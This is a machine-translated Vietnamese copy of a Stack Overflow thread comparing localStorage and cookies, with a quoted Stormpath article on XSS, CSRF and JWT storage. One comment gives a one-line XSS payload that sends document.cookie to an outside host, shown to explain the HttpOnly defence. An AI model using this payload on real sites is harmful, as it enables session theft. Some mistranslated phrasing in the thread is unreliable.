Lưu trữ cục bộ vs Cookies


1027

Tôi muốn giảm thời gian tải trên các trang web của mình bằng cách di chuyển tất cả cookie vào bộ nhớ cục bộ vì chúng dường như có cùng chức năng. Có bất kỳ ưu / nhược điểm nào (đặc biệt là hiệu năng-khôn ngoan) trong việc sử dụng bộ nhớ cục bộ để thay thế chức năng cookie ngoại trừ các vấn đề tương thích rõ ràng không?


107
Nhược điểm sở hữu: các giá trị localStorge trên các trang Secure (SSL) bị cô lập. Vì vậy, nếu trang web của bạn có cả trang http và https, bạn sẽ không thể truy cập các giá trị được đặt trên trang http khi truy cập trang https. Chỉ cần thử localStorage cho một giỏ hàng nhỏ ajax trong cửa hàng Magento. Sử thi thất bại ...

6
đáng ngạc nhiên được hỗ trợ tốt (so với những gì tôi đang mong đợi) caniuse.com/#search=localst Storage
Simon_Weaver

6
Một số người dùng cũng bị vô hiệu hóa cookie như một quy tắc trong trình duyệt của họ. Bộ nhớ cục bộ có thể hoạt động tốt hơn cho những người dùng đó.
triển

9
" Nhược điểm: Các giá trị [localStorage] trên các trang Secure (SSL) bị cô lập " Đó thực sự là một nhược điểm lớn.
tò mò

13
Đó là lý do tại sao bạn chỉ nên buộc SSL trên trang web của mình ... Tôi thấy không có lý do gì để cung cấp cả hai phiên bản của trang nếu bạn đã có sẵn phiên bản SSL.
xji

Câu trả lời:


1277

Cookies và lưu trữ cục bộ phục vụ các mục đích khác nhau. Cookies chủ yếu để đọc phía máy chủ , bộ nhớ cục bộ chỉ có thể được đọc bởi phía khách hàng . Vì vậy, câu hỏi là, trong ứng dụng của bạn, ai cần dữ liệu này - máy khách hoặc máy chủ?

Nếu đó là máy khách của bạn (JavaScript của bạn), thì bằng mọi cách có thể chuyển đổi. Bạn đang lãng phí băng thông bằng cách gửi tất cả dữ liệu trong mỗi tiêu đề HTTP.

Nếu đó là máy chủ của bạn, bộ nhớ cục bộ không hữu ích vì bạn phải chuyển tiếp dữ liệu theo cách nào đó (với Ajax hoặc các trường mẫu ẩn hoặc một cái gì đó). Điều này có thể ổn nếu máy chủ chỉ cần một tập hợp con nhỏ trong tổng số dữ liệu cho mỗi yêu cầu.

Dù vậy, bạn sẽ muốn để lại cookie phiên của mình dưới dạng cookie.

Theo sự khác biệt kỹ thuật, và sự hiểu biết của tôi:

  1. Ngoài việc là một cách lưu dữ liệu cũ, Cookies còn cung cấp cho bạn giới hạn 4096 byte (thực tế là 4095) - đó là mỗi cookie. Lưu trữ cục bộ lớn tới 5 MB cho mỗi tên miền - Câu hỏi SO cũng đề cập đến nó.

  2. localStoragelà một triển khai của StorageGiao diện. Nó lưu trữ dữ liệu với không có ngày hết hạn , và bị xóa chỉ thông qua JavaScript, hoặc xóa các trình duyệt Cache / lưu trữ cục bộ dữ liệu - không giống như cookie sẽ hết hạn.


30
HTML5 có bộ lưu trữ trong phạm vi phiên cũng có thể được sử dụng để thay thế cho cookie phiên.
Pat Niemeyer

5
@PatNiemeyer, Bạn có thể giả sử sessionStoragelà một Cookie đã hết hạn cho đến khi Trình duyệt được đóng (không phải là tab). @darkporter, cảm ơn câu trả lời. Tuy nhiên, muốn nghe sự khác biệt kỹ thuật giữa Cookies và Local Storage. chờ đợi chỉnh sửa của bạn.
Om Shankar

28
@OmShankar Tôi không chắc liệu bạn có còn nghi ngờ gì không, nhưng đây là điểm khác biệt: localStorage vẫn ở trên máy khách, trong khi cookiesđược gửi với tiêu đề HTTP. Đó là sự khác biệt lớn nhất (nhưng không phải là duy nhất) giữa chúng.
Andre Calil

16
Nếu ứng dụng khách của bạn nói chuyện với API REST, thì việc sử dụng cookie để lưu trữ và truyền id phiên không phải là thành ngữ trong REST. Vì vậy, đối với tôi, cookie trông giống như một công nghệ cũ có lẽ phải được thay thế bằng bộ nhớ cục bộ (+ JavaScript nếu bạn cần truyền một số dữ liệu, như id phiên, cho máy chủ).
Tvaroh

8
Lưu trữ cục bộ không nhất thiết là sự lựa chọn an toàn hơn cookie, vì nó dễ bị tấn công XSS. Cá nhân, tôi chọn sử dụng cookie HTTPS được mã hóa (có thể sử dụng JWT hoặc JWE), với sơ đồ hết hạn được lên kế hoạch cẩn thận. tức là thực hiện cả quy trình 'chính sách' hết hạn cấp cookie và quy trình 'gia hạn' cookie phía máy chủ, để giảm khả năng cookie được sử dụng bởi các bên thứ ba độc hại. Tôi đã viết một câu trả lời dưới đây trích dẫn các phần của một bài viết của Stormpath về vấn đề này.
XtraSimplility

231

Trong bối cảnh của JWT , Stormpath đã viết một bài viết khá hữu ích nêu ra những cách có thể để lưu trữ chúng và những lợi thế (không liên quan) liên quan đến từng phương pháp.

Nó cũng có một cái nhìn tổng quan ngắn về các cuộc tấn công XSS và CSRF, và cách bạn có thể chiến đấu với chúng.

Tôi đã đính kèm một số đoạn ngắn của bài viết bên dưới, trong trường hợp bài viết của họ bị ngoại tuyến / trang web của họ bị sập.

Lưu trữ cục bộ

Các vấn đề:

Lưu trữ web (localStorage / sessionStorage) có thể truy cập thông qua JavaScript trên cùng một tên miền. Điều này có nghĩa là bất kỳ JavaScript nào chạy trên trang web của bạn đều có quyền truy cập vào bộ lưu trữ web và do điều này có thể dễ bị tấn công bởi kịch bản chéo trang (XSS). Tóm lại, XSS là một loại lỗ hổng trong đó kẻ tấn công có thể tiêm JavaScript sẽ chạy trên trang của bạn. Các cuộc tấn công XSS cơ bản cố gắng tiêm JavaScript thông qua các đầu vào mẫu, trong đó kẻ tấn công đưa ra cảnh báo ('Bạn bị hack'); vào một biểu mẫu để xem nếu nó được chạy bởi trình duyệt và có thể được xem bởi những người dùng khác.

Phòng ngừa:

Để ngăn XSS, phản ứng phổ biến là thoát và mã hóa tất cả dữ liệu không đáng tin cậy. Nhưng đây là xa câu chuyện đầy đủ. Trong năm 2015, các ứng dụng web hiện đại sử dụng JavaScript được lưu trữ trên CDN hoặc cơ sở hạ tầng bên ngoài. Các ứng dụng web hiện đại bao gồm các thư viện JavaScript của bên thứ 3 để thử nghiệm A / B, phân tích kênh / thị trường và quảng cáo. Chúng tôi sử dụng các trình quản lý gói như Bower để nhập mã của người khác vào ứng dụng của mình.

Điều gì nếu chỉ một trong các tập lệnh bạn sử dụng bị xâm phạm? JavaScript độc hại có thể được nhúng trên trang và Lưu trữ web bị xâm phạm. Các loại tấn công XSS này có thể khiến Web Storage của mọi người truy cập trang web của bạn mà không cần biết. Đây có lẽ là lý do tại sao một loạt các tổ chức khuyên không nên lưu trữ bất cứ thứ gì có giá trị hoặc tin tưởng bất kỳ thông tin nào trong lưu trữ web. Điều này bao gồm định danh phiên và mã thông báo.

Là một cơ chế lưu trữ, Lưu trữ Web không thực thi bất kỳ tiêu chuẩn bảo mật nào trong quá trình chuyển. Bất cứ ai đọc Lưu trữ web và sử dụng nó đều phải thực hiện trách nhiệm của mình để đảm bảo họ luôn gửi JWT qua HTTPS và không bao giờ HTTP.

Bánh quy

Các vấn đề:

Cookies, khi được sử dụng với cờ cookie HTTPOnly, không thể truy cập thông qua JavaScript và miễn dịch với XSS. Bạn cũng có thể đặt cờ Cookie bảo mật để đảm bảo cookie chỉ được gửi qua HTTPS. Đây là một trong những lý do chính mà cookie đã được tận dụng trong quá khứ để lưu trữ mã thông báo hoặc dữ liệu phiên. Các nhà phát triển hiện đại ngần ngại sử dụng cookie vì theo truyền thống họ yêu cầu phải được lưu trữ trên máy chủ, do đó phá vỡ các thực tiễn tốt nhất của RESTful. Cookie là một cơ chế lưu trữ không yêu cầu lưu trữ trạng thái trên máy chủ nếu bạn đang lưu trữ JWT trong cookie. Điều này là do JWT đóng gói mọi thứ mà máy chủ cần để phục vụ yêu cầu.

Tuy nhiên, cookie dễ bị tấn công bởi một kiểu tấn công khác: giả mạo yêu cầu chéo trang (CSRF). Tấn công CSRF là một loại tấn công xảy ra khi một trang web độc hại, email hoặc blog khiến trình duyệt web của người dùng thực hiện một hành động không mong muốn trên một trang web đáng tin cậy mà người dùng hiện đang được xác thực. Đây là một khai thác về cách trình duyệt xử lý cookie. Một cookie chỉ có thể được gửi đến các miền mà nó được cho phép. Theo mặc định, đây là tên miền ban đầu đặt cookie. Cookie sẽ được gửi cho một yêu cầu bất kể bạn đang ở trên galaxies.com hay hahagonnahackyou.com.

Phòng ngừa:

Các trình duyệt hiện đại hỗ trợ SameSitecờ , ngoài HttpOnlySecure. Mục đích của cờ này là để ngăn chặn cookie được truyền trong các yêu cầu trên nhiều trang web, ngăn chặn nhiều loại tấn công CSRF.

Đối với các trình duyệt không hỗ trợ SameSite, CSRF có thể được ngăn chặn bằng cách sử dụng các mẫu mã thông báo được đồng bộ hóa. Điều này nghe có vẻ phức tạp, nhưng tất cả các khung web hiện đại đều hỗ trợ cho việc này.

Ví dụ: AngularJS có một giải pháp để xác thực rằng cookie chỉ có thể truy cập được bằng tên miền của bạn. Trực tiếp từ tài liệu AngularJS:

Khi thực hiện các yêu cầu XHR, dịch vụ $ http đọc mã thông báo từ cookie (theo mặc định, XSRF-TOKEN) và đặt nó làm tiêu đề HTTP (X-XSRF-TOKEN). Vì chỉ JavaScript chạy trên miền của bạn có thể đọc cookie, máy chủ của bạn có thể được đảm bảo rằng XHR đến từ JavaScript chạy trên miền của bạn. Bạn có thể làm cho bảo vệ CSRF này không trạng thái bằng cách bao gồm xsrfTokenkhiếu nại JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Tận dụng khả năng bảo vệ CSRF của khung ứng dụng web của bạn làm cho cookie trở nên vững chắc khi lưu trữ JWT. CSRF cũng có thể được ngăn chặn một phần bằng cách kiểm tra tiêu đề HTTP Giới thiệu và Xuất xứ từ API của bạn. Các cuộc tấn công CSRF sẽ có các tiêu đề Người giới thiệu và Xuất xứ không liên quan đến ứng dụng của bạn.

Toàn bộ bài viết có thể được tìm thấy ở đây: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-st Storage /

Họ cũng có một bài viết hữu ích về cách thiết kế và triển khai JWT tốt nhất, liên quan đến cấu trúc của mã thông báo: https://stormpath.com/blog/jwt-the-right-way/


6
Điểm tuyệt vời. Ngạc nhiên về ý nghĩa bảo mật của lưu trữ cục bộ (hoặc thiếu đối với XSS) đã không được đề cập trước đây đối với một câu hỏi được đọc tốt như vậy - ngoại trừ một câu trả lời mà IMHO không chính xác cho thấy nó an toàn hơn!
Barry Pollard

25
Tôi thấy toàn bộ cuộc nói chuyện bảo mật hơi mất tập trung để thành thật. Có, localStoragecó thể truy cập được các tập lệnh khác trên trang ... Nhưng cũng vậy XMLHttpRequest... Và vâng, cờ httpOnly bảo vệ chống ăn cắp cookie nhưng trình duyệt vẫn tự động gửi nó đến miền phù hợp để ... về cơ bản khi bạn có tập lệnh độc hại chạy trên trang của bạn, bạn đã bị hack.
Stijn de Witt

3
@StijndeWitt Mỗi lớp bảo vệ đều có sức mạnh và điểm yếu riêng. Vì vậy, tốt hơn là có nhiều lớp bảo vệ. Chỉ để cung cấp cho bạn một ví dụ: HttpOnly cũng ngăn chặn các cuộc tấn công không phải là ajax như thế nào window.location = 'http://google.com?q=' + escape(document.cookie);. Cuộc tấn công này bỏ qua kiểm tra CORS trình duyệt.
Memet Olsen

Giả sử bạn có ít hơn các nhà cung cấp đáng tin cậy hoàn toàn cho một số thứ như quảng cáo ... tại sao quảng cáo của bạn thậm chí được phục vụ bởi cùng một tên miền với nội dung đáng tin cậy của riêng bạn? Quảng cáo chỉ cần được hiển thị bên trong Trang web, thông thường, họ không cần phải chạy JS bên trong trang. Quá nhiều tích hợp cho nội dung của bên thứ ba đó chưa được thực hiện.
tò mò

Tại sao mã thông báo csrf trong cookie (phải không phải là http chỉ theo định nghĩa để có thể đọc qua JavaScript và gửi qua tiêu đề) giúp mọi thứ an toàn hơn? Nếu trang web của tôi dễ bị xss, cookie có thể được đọc dễ dàng như lưu trữ cục bộ / phiên.
Juangamnik

96

Với localStorage, các ứng dụng web có thể lưu trữ dữ liệu cục bộ trong trình duyệt của người dùng. Trước HTML5, dữ liệu ứng dụng phải được lưu trữ trong cookie, được bao gồm trong mọi yêu cầu máy chủ. Một lượng lớn dữ liệu có thể được lưu trữ cục bộ mà không ảnh hưởng đến hiệu suất trang web. Mặc dù localStoragehiện đại hơn, nhưng có một số ưu và nhược điểm đối với cả hai kỹ thuật.

Bánh quy

Ưu

  • Hỗ trợ di sản (nó đã tồn tại mãi mãi)
  • Dữ liệu liên tục
  • Ngày hết hạn

Nhược điểm

  • Mỗi tên miền lưu trữ tất cả các cookie của nó trong một chuỗi, điều này có thể gây khó khăn cho việc phân tích dữ liệu
  • Dữ liệu không được mã hóa, điều này trở thành một vấn đề vì ... ... mặc dù kích thước nhỏ, cookie được gửi với mỗi yêu cầu HTTP Kích thước giới hạn (4KB)
  • SQL SQL có thể được thực hiện từ một cookie

Lưu trữ cục bộ

Ưu

  • Hỗ trợ bởi hầu hết các trình duyệt hiện đại
  • Dữ liệu liên tục được lưu trữ trực tiếp trong trình duyệt
  • Quy tắc cùng nguồn gốc áp dụng cho dữ liệu lưu trữ cục bộ
  • Không được gửi với mọi yêu cầu HTTP
  • ~ 5 MB dung lượng cho mỗi tên miền (đó là 5120KB)

Nhược điểm

  • Không được hỗ trợ bởi bất cứ điều gì trước đây: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Nếu máy chủ cần lưu trữ thông tin khách hàng, bạn cố tình phải gửi nó.

localStoragecách sử dụng gần như giống hệt với phiên một. Họ có khá nhiều phương pháp chính xác, vì vậy chuyển từ phiên sang localStoragethực sự là trò chơi trẻ con. Tuy nhiên, nếu dữ liệu được lưu trữ thực sự quan trọng cho ứng dụng của bạn, có thể bạn sẽ sử dụng cookie làm bản sao lưu trong trường hợp localStoragekhông có sẵn. Nếu bạn muốn kiểm tra hỗ trợ trình duyệt localStorage, tất cả những gì bạn phải làm là chạy tập lệnh đơn giản này:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"Các giá trị localStorage trên các trang Secure (SSL) bị cô lập" vì ai đó chú ý rằng localStorage sẽ không khả dụng nếu bạn chuyển từ giao thức được bảo mật 'http' sang 'https', trong đó cookie vẫn có thể truy cập được. Đây là loại quan trọng cần lưu ý nếu bạn làm việc với các giao thức an toàn.


1
Kiểm tra bạn đang làm không đáng tin cậy lắm. Có các trình duyệt và chế độ (riêng tư) có đối tượng Storage, nhưng không thể thiết lập các giá trị trên nó. Cách duy nhất để kiểm tra hỗ trợ thực tế là thử bắt một bộ xóa trên đó.
JavaScript

Điểm đã được thực hiện, tôi đã cập nhật câu trả lời của mình liên quan đến câu trả lời của Joe tại: stackoverflow.com/questions/16427636/
mẹo

10
vì 'SQL có thể được thực hiện' được liệt kê dưới dạng một phần của cookie, bạn đang nói rằng nó không thể được thực hiện từ localStorage?
Martin Schneider

Một pro khác cho Cookies. Cookies có thể được đánh dấu là HTTPOnly. Điều này có nghĩa là chúng không thể được truy cập từ JavaScript, điều này có nghĩa là không có cuộc tấn công XSS độc hại nào có thể truy xuất nội dung cookie. Vì điều này, tôi không nhất thiết phải nói rằng bộ nhớ cục bộ an toàn hơn cookie.
wp-overwatch.com

@ Mr.Me Trong khi các cuộc tấn công XSS không thể đọc cookie HTTPOnly, kẻ tấn công vẫn có thể thực hiện bất kỳ yêu cầu HTTP nào mà người dùng có thể thực hiện (theo định nghĩa) chỉ bị giới hạn bởi phiên trình duyệt. Giả sử cookie phiên là một định danh mờ, vì hầu như tất cả các cookie phiên, việc đọc giá trị cookie chỉ hữu ích để thực hiện yêu cầu HTTP bao gồm cả nó: bạn không học bất cứ điều gì chỉ với giá trị cookie. (Lưu ý, cookie phiên có thể đôi khi được liên kết với một địa chỉ cụ thể IP nguồn, tiêu đề user-agent, hoặc đặc điểm trình duyệt khác; tấn công XSS thực hiện yêu cầu HTTP từ trình duyệt, do đó, những trận đấu.)
curiousguy

7

Chà, tốc độ lưu trữ cục bộ phụ thuộc rất nhiều vào trình duyệt mà máy khách đang sử dụng, cũng như hệ điều hành. Chrome hoặc Safari trên máy Mac có thể nhanh hơn nhiều so với Firefox trên PC, đặc biệt là với các API mới hơn. Như mọi khi, kiểm tra là bạn của bạn (tôi không thể tìm thấy bất kỳ điểm chuẩn nào).

Tôi thực sự không thấy sự khác biệt lớn trong cookie so với lưu trữ cục bộ. Ngoài ra, bạn nên lo lắng hơn về các vấn đề tương thích: không phải tất cả các trình duyệt thậm chí đã bắt đầu hỗ trợ API HTML5 mới, vì vậy cookie sẽ là lựa chọn tốt nhất cho tốc độ và khả năng tương thích của bạn.


2
Đây chỉ là một dự án nội bộ, vì vậy những thứ như khả năng tương thích giữa nhiều trình duyệt không thực sự cần thiết. Bởi vì cookie được gửi với mỗi HTTPRequest (ứng dụng của tôi có ~ 77 yêu cầu) có nghĩa là ~ 500kB phụ phí. Tôi biết giải pháp rõ ràng là CDN, nhưng tôi muốn thử thứ gì đó không phụ thuộc vào máy chủ. Tôi không thể tìm thấy bất kỳ điểm chuẩn nào cho mình và đó là lý do tại sao tôi hy vọng ai đó ở đây có thể biết.
Gio Borje

14
Tại sao Chrome hoặc Safari sẽ nhanh hơn trên máy Mac? Đó là khá nhiều mã trình duyệt tương tự đang chạy cho dù bạn đang ở trên Mac, Linux hay Windows.
Mark K Cowan

7

Một điều đáng nói nữa là localStoragekhông thể sử dụng khi người dùng duyệt ở chế độ "riêng tư" trong một số phiên bản Safari di động.

Trích dẫn từ MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Lưu ý: Bắt đầu với iOS 5.1, Safari Mobile lưu trữ dữ liệu localStorage trong thư mục bộ đệm, thường xuyên phải dọn dẹp, theo lệnh của HĐH, thông thường nếu không gian trống. Chế độ duyệt web riêng tư của Safari Mobile cũng ngăn chặn việc ghi hoàn toàn vào localStorage.


6

Bộ nhớ cục bộ có thể lưu trữ tối đa 5mb dữ liệu ngoại tuyến, trong khi phiên cũng có thể lưu trữ tối đa 5 mb dữ liệu. Nhưng cookie chỉ có thể lưu trữ dữ liệu 4kb ở định dạng văn bản.

Dữ liệu lưu trữ LOCAl và Phiên ở định dạng JSON, do đó dễ phân tích cú pháp. Nhưng dữ liệu cookie ở định dạng chuỗi.


6

Bánh quy :

  1. Được giới thiệu trước HTML5.
  2. Có ngày hết hạn.
  3. Cleard by JS hoặc Xóa dữ liệu duyệt web của trình duyệt hoặc sau ngày hết hạn.
  4. Sẽ được gửi đến máy chủ theo từng yêu cầu.
  5. Dung lượng là 4KB.
  6. Chỉ có chuỗi có thể lưu trữ trong cookie.
  7. Có hai loại cookie: liên tục và phiên.

Lưu trữ cục bộ:

  1. Được giới thiệu với HTML5.
  2. Không có ngày hết hạn.
  3. Cleard by JS hoặc Xóa dữ liệu duyệt web của trình duyệt.
  4. Bạn có thể chọn khi dữ liệu phải được gửi đến máy chủ.
  5. Dung lượng là 5MB.
  6. Dữ liệu được lưu trữ vô thời hạn và phải là một chuỗi.
  7. Chỉ có một loại.

6. localStorage chỉ có thể lưu trữ chuỗi, nguyên thủy và đối tượng phải được chuyển đổi thành chuỗi trước khi lưu trữ, 7. sessionStorage cũng có sẵn và giống hệt với localStorage trừ khi nó không tồn tại
Robbie Milejczak

Bạn chỉ có thể lưu trữ stings trong kho
TheMisir
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.